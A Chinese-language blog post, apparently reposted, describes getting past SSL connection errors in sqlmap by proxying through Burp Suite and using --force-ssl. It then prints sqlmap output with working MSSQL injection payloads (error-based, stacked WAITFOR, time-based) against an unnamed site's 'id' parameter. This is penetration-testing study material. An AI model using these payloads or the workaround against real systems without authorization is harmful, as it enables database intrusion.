sqlmap在https下的一種錯誤 - ssl連接失敗


在昨天與師傅的交流中師傅考了我一個問題,在用sqlmap跑的時候遇到ssl爆紅該怎么辦,因為在實戰中並沒有遇到過這種情況,所以今天補一下知識。

 

首先查詢了ssl的概念,通俗來說,如果一個網站沒有安裝ssl證書,那么他的傳輸方式就是http傳輸,安裝ssl證書過后就是https傳輸,https傳輸加密性比http好得多,這是其一;當你訪問一些沒有安裝ssl的網站時,會出現如下界面:

 

 

 

沒有安裝ssl會導致信息很容易被竊取,這是其二;擁有ssl證書的網站會在谷歌和百度擁有更高的權重,通俗來說就是當你搜索一個相同的內容時,擁有ssl的網站肯定會比沒有ssl的網站在搜索上靠前。

 

了解概念之后回到師傅拋給我的問題,為什么網站會報ssl連接錯誤呢?

 

就是因為ssl證書的原因,而且sqlmap它是不能自動偽造ssl證書的,所以這時候就有兩種方法去解決ssl爆紅的操作:

 

  1. 通過本地代理端口進行訪問

  2. 通過搭建web,訪問代理文件進行注入

 

師傅給我說的是第一種方法是最常用的,用bp代理本地8080端口(--proxy http://127.0.0.1:8080)

 

8080端口是被用於WWW代理服務的,apache安裝后默認的端口就是8080端口。

 

因為目標站是https,加入--force-ssl參數

 

 

 

 

 

然而還是報錯ssl,這時候就只能代理本地的8080端口

 

 

 

然后就能夠順利跑出來,結果如下:

Parameter: id (POST)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=3395 AND 1967=1967

    Vector: AND [INFERENCE]

 

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

    Payload: id=3395 AND 8669 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113)))

    Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

 

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113))

    Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')

 

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries (comment)

    Payload: id=3395;WAITFOR DELAY '0:0:5'--

    Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)

    Payload: id=3395 WAITFOR DELAY '0:0:5'--

Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

 

另外一種方法就是用一個php文件直接用sqlmap跑php就ok

 

因為第二種方法比較麻煩,還要寫代碼,這里就先不搞了QAQ

 

查閱google后看到,第一種方法不一定用bp代理,通過charles本地映射后訪問也可以。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM